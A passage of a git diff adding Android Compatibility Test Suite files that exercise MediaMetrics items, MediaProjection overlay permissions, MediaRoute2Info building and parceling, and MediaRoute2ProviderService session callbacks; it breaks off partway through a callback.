+        assertEquals(intKeyCount + 4, bundle.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
+
+        item.clear(); // removes properties.
+        item.putInt("value", (int) 100);
+
+        final Bundle bundle2 = item.toBundle();
+
+        assertEquals(key, bundle2.getString(MediaMetrics.Item.BUNDLE_KEY));
+        assertEquals(1, bundle2.getInt(MediaMetrics.Item.BUNDLE_PID));
+        assertEquals(2, bundle2.getInt(MediaMetrics.Item.BUNDLE_UID));
+        assertEquals(0, bundle2.getChar(MediaMetrics.Item.BUNDLE_VERSION));
+        assertEquals(key.length() + 1, bundle2.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
+        assertEquals(0, bundle2.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP)); // time is reset.
+
+        for (Integer i = 0; i < intKeyCount; ++i) {
+            assertEquals(-1, bundle2.getInt(i.toString(), -1));
+        }
+        assertEquals(100, bundle2.getInt("value"));
+        assertEquals(1, bundle2.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
+
+        // Now override pid, uid, and time.
+        item.setPid(10)
+            .setUid(11)
+            .setTimestamp(12);
+        final Bundle bundle3 = item.toBundle();
+        assertEquals(10, bundle3.getInt(MediaMetrics.Item.BUNDLE_PID));
+        assertEquals(11, bundle3.getInt(MediaMetrics.Item.BUNDLE_UID));
+        assertEquals(12, bundle3.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP));
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaProjectionTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaProjectionTest.java
new file mode 100644
index 0000000..351338c
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaProjectionTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.MediaProjectionActivity;
+import android.media.projection.MediaProjection;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ShellUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test MediaProjection lifecycle.
+ *
+ * This test starts and stops a MediaProjection screen capture session using
+ * MediaProjectionActivity.
+ *
+ * Currently we check that we are able to draw overlay windows during the session but not before
+ * or after. (We request SYATEM_ALERT_WINDOW permission, but it is not granted, so by default we
+ * cannot.)
+ *
+ * Note that there are other tests verifying that screen capturing actually works correctly in
+ * CtsWindowManagerDeviceTestCases.
+ */
+@NonMediaMainlineTest
+public class MediaProjectionTest {
+    @Rule
+    public ActivityTestRule<MediaProjectionActivity> mActivityRule =
+            new ActivityTestRule<>(MediaProjectionActivity.class, false, false);
+
+    private MediaProjectionActivity mActivity;
+    private MediaProjection mMediaProjection;
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        runWithShellPermissionIdentity(() -> {
+            mContext.getPackageManager().revokeRuntimePermission(
+                    mContext.getPackageName(),
+                    android.Manifest.permission.SYSTEM_ALERT_WINDOW,
+                    new UserHandle(ActivityManager.getCurrentUser()));
+        });
+    }
+
+    @Test
+    public void testOverlayAllowedDuringScreenCapture() throws Exception {
+        assertFalse(Settings.canDrawOverlays(mContext));
+
+        startMediaProjection();
+        assertTrue(Settings.canDrawOverlays(mContext));
+
+        stopMediaProjection();
+        assertFalse(Settings.canDrawOverlays(mContext));
+    }
+
+    private void startMediaProjection() throws Exception {
+        mActivityRule.launchActivity(null);
+        mActivity = mActivityRule.getActivity();
+        mMediaProjection = mActivity.waitForMediaProjection();
+    }
+
+    private void stopMediaProjection() throws Exception {
+        final int STOP_TIMEOUT_MS = 1000;
+        CountDownLatch stoppedLatch = new CountDownLatch(1);
+
+        mMediaProjection.registerCallback(new MediaProjection.Callback() {
+            public void onStop() {
+                stoppedLatch.countDown();
+            }
+        }, new Handler(Looper.getMainLooper()));
+        mMediaProjection.stop();
+
+        assertTrue("Could not stop the MediaProjection in " + STOP_TIMEOUT_MS + "ms",
+                stoppedLatch.await(STOP_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaRoute2InfoTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaRoute2InfoTest.java
new file mode 100644
index 0000000..94d5883
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaRoute2InfoTest.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.media.MediaRoute2Info;
+import android.media.cts.NonMediaMainlineTest;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+/**
+ * Tests {@link MediaRoute2Info} and its {@link MediaRoute2Info.Builder builder}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@NonMediaMainlineTest
+public class MediaRoute2InfoTest {
+
+    public static final String TEST_ID = "test_id";
+    public static final String TEST_NAME = "test_name";
+    public static final String TEST_ROUTE_TYPE_0 = "test_route_type_0";
+    public static final String TEST_ROUTE_TYPE_1 = "test_route_type_1";
+    public static final Uri TEST_ICON_URI = Uri.parse("https://developer.android.com");
+    public static final String TEST_DESCRIPTION = "test_description";
+    public static final int TEST_CONNECTION_STATE = MediaRoute2Info.CONNECTION_STATE_CONNECTING;
+    public static final String TEST_CLIENT_PACKAGE_NAME = "com.test.client.package.name";
+    public static final int TEST_VOLUME_HANDLING = MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
+    public static final int TEST_VOLUME_MAX = 100;
+    public static final int TEST_VOLUME = 65;
+
+    public static final String TEST_KEY = "test_key";
+    public static final String TEST_VALUE = "test_value";
+
+    @Test
+    public void testBuilderConstructorWithInvalidValues() {
+        final String nullId = null;
+        final String nullName = null;
+        final String emptyId = "";
+        final String emptyName = "";
+        final String validId = "valid_id";
+        final String validName = "valid_name";
+
+        // ID is invalid
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(nullId, validName));
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(emptyId, validName));
+
+        // name is invalid
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(validId, nullName));
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(validId, emptyName));
+
+        // Both are invalid
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(nullId, nullName));
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(nullId, emptyName));
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(emptyId, nullName));
+        assertThrows(IllegalArgumentException.class,
+                () -> new MediaRoute2Info.Builder(emptyId, emptyName));
+
+
+        // Null RouteInfo (1-argument constructor)
+        final MediaRoute2Info nullRouteInfo = null;
+        assertThrows(NullPointerException.class,
+                () -> new MediaRoute2Info.Builder(nullRouteInfo));
+    }
+
+    @Test
+    public void testBuilderBuildWithEmptyRouteTypesShouldThrowIAE() {
+        MediaRoute2Info.Builder builder = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME);
+        assertThrows(IllegalArgumentException.class, () -> builder.build());
+    }
+
+    @Test
+    public void testBuilderAndGettersOfMediaRoute2Info() {
+        Bundle extras = new Bundle();
+        extras.putString(TEST_KEY, TEST_VALUE);
+
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setExtras(extras)
+                .build();
+
+        assertEquals(TEST_ID, routeInfo.getId());
+        assertEquals(TEST_NAME, routeInfo.getName());
+
+        assertEquals(2, routeInfo.getFeatures().size());
+        assertEquals(TEST_ROUTE_TYPE_0, routeInfo.getFeatures().get(0));
+        assertEquals(TEST_ROUTE_TYPE_1, routeInfo.getFeatures().get(1));
+
+        assertEquals(TEST_ICON_URI, routeInfo.getIconUri());
+        assertEquals(TEST_DESCRIPTION, routeInfo.getDescription());
+        assertEquals(TEST_CONNECTION_STATE, routeInfo.getConnectionState());
+        assertEquals(TEST_CLIENT_PACKAGE_NAME, routeInfo.getClientPackageName());
+        assertEquals(TEST_VOLUME_HANDLING, routeInfo.getVolumeHandling());
+        assertEquals(TEST_VOLUME_MAX, routeInfo.getVolumeMax());
+        assertEquals(TEST_VOLUME, routeInfo.getVolume());
+
+        Bundle extrasOut = routeInfo.getExtras();
+        assertNotNull(extrasOut);
+        assertTrue(extrasOut.containsKey(TEST_KEY));
+        assertEquals(TEST_VALUE, extrasOut.getString(TEST_KEY));
+    }
+
+    @Test
+    public void testBuilderSetExtrasWithNull() {
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .setExtras(null)
+                .build();
+
+        assertNull(routeInfo.getExtras());
+    }
+
+    @Test
+    public void testBuilderaddFeatures() {
+        List<String> routeTypes = new ArrayList<>();
+        routeTypes.add(TEST_ROUTE_TYPE_0);
+        routeTypes.add(TEST_ROUTE_TYPE_1);
+
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeatures(routeTypes)
+                .build();
+
+        assertEquals(routeTypes, routeInfo.getFeatures());
+    }
+
+    @Test
+    public void testBuilderclearFeatures() {
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                // clearFeatures should clear the route types.
+                .clearFeatures()
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .build();
+
+        assertEquals(1, routeInfo.getFeatures().size());
+        assertEquals(TEST_ROUTE_TYPE_1, routeInfo.getFeatures().get(0));
+    }
+
+    @Test
+    public void testEqualsCreatedWithSameArguments() {
+        Bundle extras = new Bundle();
+        extras.putString(TEST_KEY, TEST_VALUE);
+
+        MediaRoute2Info routeInfo1 = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setExtras(extras)
+                .build();
+
+        MediaRoute2Info routeInfo2 = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setExtras(extras)
+                .build();
+
+        assertEquals(routeInfo1, routeInfo2);
+        assertEquals(routeInfo1.hashCode(), routeInfo2.hashCode());
+    }
+
+    @Test
+    public void testEqualsCreatedWithBuilderCopyConstructor() {
+        Bundle extras = new Bundle();
+        extras.putString(TEST_KEY, TEST_VALUE);
+
+        MediaRoute2Info routeInfo1 = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setExtras(extras)
+                .build();
+
+        MediaRoute2Info routeInfo2 = new MediaRoute2Info.Builder(routeInfo1).build();
+
+        assertEquals(routeInfo1, routeInfo2);
+        assertEquals(routeInfo1.hashCode(), routeInfo2.hashCode());
+    }
+
+    @Test
+    public void testEqualsReturnFalse() {
+        Bundle extras = new Bundle();
+        extras.putString(TEST_KEY, TEST_VALUE);
+
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setExtras(extras)
+                .build();
+
+        // Now, we will use copy constructor
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .addFeature("randomRouteType")
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setIconUri(Uri.parse("randomUri"))
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setDescription("randomDescription")
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setConnectionState(TEST_CONNECTION_STATE + 1)
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setClientPackageName("randomPackageName")
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setVolumeHandling(TEST_VOLUME_HANDLING + 1)
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setVolumeMax(TEST_VOLUME_MAX + 100)
+                .build());
+        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
+                .setVolume(TEST_VOLUME + 10)
+                .build());
+        // Note: Extras will not affect the equals.
+    }
+
+    @Test
+    public void testParcelingAndUnParceling() {
+        Bundle extras = new Bundle();
+        extras.putString(TEST_KEY, TEST_VALUE);
+
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setExtras(extras)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        parcel.writeParcelable(routeInfo, 0);
+        parcel.setDataPosition(0);
+
+        MediaRoute2Info routeInfoFromParcel = parcel.readParcelable(null);
+        assertEquals(routeInfo, routeInfoFromParcel);
+        assertEquals(routeInfo.hashCode(), routeInfoFromParcel.hashCode());
+
+        // Check extras
+        Bundle extrasOut = routeInfoFromParcel.getExtras();
+        assertNotNull(extrasOut);
+        assertTrue(extrasOut.containsKey(TEST_KEY));
+        assertEquals(TEST_VALUE, extrasOut.getString(TEST_KEY));
+        parcel.recycle();
+
+        // In order to mark writeToParcel as tested, we let's just call it directly.
+        Parcel dummyParcel = Parcel.obtain();
+        routeInfo.writeToParcel(dummyParcel, 0);
+        dummyParcel.recycle();
+    }
+
+    @Test
+    public void testDescribeContents() {
+        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
+                .addFeature(TEST_ROUTE_TYPE_0)
+                .addFeature(TEST_ROUTE_TYPE_1)
+                .setIconUri(TEST_ICON_URI)
+                .setDescription(TEST_DESCRIPTION)
+                .setConnectionState(TEST_CONNECTION_STATE)
+                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .build();
+        assertEquals(0, routeInfo.describeContents());
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaRoute2ProviderServiceTest.java
new file mode 100644
index 0000000..531a2f2
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaRoute2ProviderServiceTest.java
@@ -0,0 +1,617 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.misc.cts.MediaRouter2Test.releaseControllers;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURE_SPECIAL;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaRoute2Info;
+import android.media.MediaRoute2ProviderService;
+import android.media.MediaRouter2;
+import android.media.MediaRouter2.ControllerCallback;
+import android.media.MediaRouter2.RouteCallback;
+import android.media.MediaRouter2.RoutingController;
+import android.media.MediaRouter2.TransferCallback;
+import android.media.RouteDiscoveryPreference;
+import android.media.RoutingSessionInfo;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.misc.cts.StubMediaRoute2ProviderService.Proxy;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.LargeTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
+@LargeTest
+@NonMediaMainlineTest
+public class MediaRoute2ProviderServiceTest {
+    private static final String TAG = "MR2ProviderServiceTest";
+    Context mContext;
+    private MediaRouter2 mRouter2;
+    private Executor mExecutor;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
+    private StubMediaRoute2ProviderService mService;
+
+    private static final int TIMEOUT_MS = 5000;
+
+    private static final String SESSION_ID_1 = "SESSION_ID_1";
+    private static final String SESSION_ID_2 = "SESSION_ID_2";
+
+    // TODO: Merge these TEST_KEY / TEST_VALUE in all files
+    public static final String TEST_KEY = "test_key";
+    public static final String TEST_VALUE = "test_value";
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mRouter2 = MediaRouter2.getInstance(mContext);
+        mExecutor = Executors.newSingleThreadExecutor();
+
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
+        new PollingCheck(TIMEOUT_MS) {
+            @Override
+            protected boolean check() {
+                StubMediaRoute2ProviderService service =
+                        StubMediaRoute2ProviderService.getInstance();
+                if (service != null) {
+                    mService = service;
+                    return true;
+                }
+                return false;
+            }
+        }.run();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
+        if (mService != null) {
+            mService.clear();
+            mService = null;
+        }
+    }
+
+    @Test
+    public void testGetSessionInfoAndGetAllSessionInfo() {
+        assertEquals(0, mService.getAllSessionInfo().size());
+
+        // Add a session
+        RoutingSessionInfo sessionInfo1 = new RoutingSessionInfo.Builder(
+                SESSION_ID_1, "" /* clientPackageName */)
+                .addSelectedRoute(ROUTE_ID1)
+                .build();
+        mService.notifySessionCreated(MediaRoute2ProviderService.REQUEST_ID_NONE, sessionInfo1);
+        assertEquals(1, mService.getAllSessionInfo().size());
+        assertEquals(sessionInfo1, mService.getAllSessionInfo().get(0));
+        assertEquals(sessionInfo1, mService.getSessionInfo(SESSION_ID_1));
+
+        // Add another session
+        RoutingSessionInfo sessionInfo2 = new RoutingSessionInfo.Builder(
+                SESSION_ID_2, "" /* clientPackageName */)
+                .addSelectedRoute(ROUTE_ID2)
+                .build();
+        mService.notifySessionCreated(
+                MediaRoute2ProviderService.REQUEST_ID_NONE, sessionInfo2);
+        assertEquals(2, mService.getAllSessionInfo().size());
+        assertEquals(sessionInfo2, mService.getSessionInfo(SESSION_ID_2));
+
+        // Remove the first session
+        mService.notifySessionReleased(SESSION_ID_1);
+        assertNull(mService.getSessionInfo(SESSION_ID_1));
+        assertEquals(1, mService.getAllSessionInfo().size());
+        assertEquals(sessionInfo2, mService.getAllSessionInfo().get(0));
+        assertEquals(sessionInfo2, mService.getSessionInfo(SESSION_ID_2));
+
+        // Remove the remaining session
+        mService.notifySessionReleased(SESSION_ID_2);
+        assertEquals(0, mService.getAllSessionInfo().size());
+        assertNull(mService.getSessionInfo(SESSION_ID_2));
+    }
+
+    @Test
+    public void testNotifyRoutesInvokesMediaRouter2RouteCallback() throws Exception {
+        final String routeId0 = "routeId0";
+        final String routeName0 = "routeName0";
+        final String routeId1 = "routeId1";
+        final String routeName1 = "routeName1";
+        final List<String> features = Collections.singletonList("customFeature");
+
+        final List<MediaRoute2Info> routes = new ArrayList<>();
+        routes.add(new MediaRoute2Info.Builder(routeId0, routeName0)
+                .addFeatures(features)
+                .build());
+        routes.add(new MediaRoute2Info.Builder(routeId1, routeName1)
+                .addFeatures(features)
+                .build());
+
+        final int newConnectionState = MediaRoute2Info.CONNECTION_STATE_CONNECTED;
+        CountDownLatch onRoutesAddedLatch = new CountDownLatch(1);
+        CountDownLatch onRoutesChangedLatch = new CountDownLatch(1);
+        CountDownLatch onRoutesRemovedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                if (!features.equals(routes.get(0).getFeatures())) {
+                    return;
+                }
+                assertEquals(2, routes.size());
+
+                MediaRoute2Info route0;
+                MediaRoute2Info route1;
+                if (routeId0.equals(routes.get(0).getOriginalId())) {
+                    route0 = routes.get(0);
+                    route1 = routes.get(1);
+                } else {
+                    route0 = routes.get(1);
+                    route1 = routes.get(0);
+                }
+
+                assertNotNull(route0);
+                assertEquals(routeId0, route0.getOriginalId());
+                assertEquals(routeName0, route0.getName());
+                assertEquals(features, route0.getFeatures());
+
+                assertNotNull(route1);
+                assertEquals(routeId1, route1.getOriginalId());
+                assertEquals(routeName1, route1.getName());
+                assertEquals(features, route1.getFeatures());
+
+                onRoutesAddedLatch.countDown();
+            }
+
+            @Override
+            public void onRoutesChanged(List<MediaRoute2Info> routes) {
+                if (!features.equals(routes.get(0).getFeatures())) {
+                    return;
+                }
+                assertEquals(1, routes.size());
+                assertEquals(routeId1, routes.get(0).getOriginalId());
+                assertEquals(newConnectionState, routes.get(0).getConnectionState());
+                onRoutesChangedLatch.countDown();
+            }
+
+            @Override
+            public void onRoutesRemoved(List<MediaRoute2Info> routes) {
+                if (!features.equals(routes.get(0).getFeatures())) {
+                    return;
+                }
+                assertEquals(2, routes.size());
+
+                MediaRoute2Info route0;
+                MediaRoute2Info route1;
+                if (routeId0.equals(routes.get(0).getOriginalId())) {
+                    route0 = routes.get(0);
+                    route1 = routes.get(1);
+                } else {
+                    route0 = routes.get(1);
+                    route1 = routes.get(0);
+                }
+
+                assertNotNull(route0);
+                assertEquals(routeId0, route0.getOriginalId());
+                assertEquals(routeName0, route0.getName());
+                assertEquals(features, route0.getFeatures());
+
+                assertNotNull(route1);
+                assertEquals(routeId1, route1.getOriginalId());
+                assertEquals(routeName1, route1.getName());
+                assertEquals(features, route1.getFeatures());
+
+                onRoutesRemovedLatch.countDown();
+            }
+        };
+
+        mRouter2.registerRouteCallback(mExecutor, routeCallback,
+                new RouteDiscoveryPreference.Builder(features, true).build());
+        try {
+            mService.notifyRoutes(routes);
+            assertTrue(onRoutesAddedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // Change the connection state of route2 in order to invoke onRoutesChanged()
+            MediaRoute2Info newRoute2 = new MediaRoute2Info.Builder(routes.get(1))
+                    .setConnectionState(newConnectionState)
+                    .build();
+            routes.set(1, newRoute2);
+            mService.notifyRoutes(routes);
+            assertTrue(onRoutesChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // Now remove all the routes
+            routes.clear();
+            mService.notifyRoutes(routes);
+            assertTrue(onRoutesRemovedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
+        }
+    }
+
+    @Test
+    public void testSessionRelatedCallbacks() throws Exception {
+        mService.initializeRoutes();
+        mService.publishRoutes();
+
+        List<String> featuresSample = Collections.singletonList(FEATURE_SAMPLE);
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(featuresSample);
+        MediaRoute2Info routeToCreateSession = routes.get(ROUTE_ID1);
+        assertNotNull(routeToCreateSession);
+
+        Bundle sessionHints = new Bundle();
+        sessionHints.putString(TEST_KEY, TEST_VALUE);
+        mRouter2.setOnGetControllerHintsListener(route -> sessionHints);
+
+        CountDownLatch onCreateSessionLatch = new CountDownLatch(1);
+        CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+        CountDownLatch onSelectRouteLatch = new CountDownLatch(1);
+        CountDownLatch onDeselectRouteLatch = new CountDownLatch(1);
+        CountDownLatch onTransferToRouteLatch = new CountDownLatch(1);
+
+        // Now test all session-related callbacks.
+        setProxy(new Proxy() {
+            @Override
+            public void onCreateSession(long requestId, String packageName, String routeId,
+                    Bundle sessionHints) {
+                assertEquals(mContext.getPackageName(), packageName);
+                assertEquals(ROUTE_ID1, routeId);
+                assertNotNull(sessionHints);
+                assertTrue(sessionHints.containsKey(TEST_KEY));
+                assertEquals(TEST_VALUE, sessionHints.getString(TEST_KEY));
+
+                RoutingSessionInfo info = new RoutingSessionInfo.Builder(
+                        SESSION_ID_1, mContext.getPackageName())
+                        .addSelectedRoute(ROUTE_ID1)
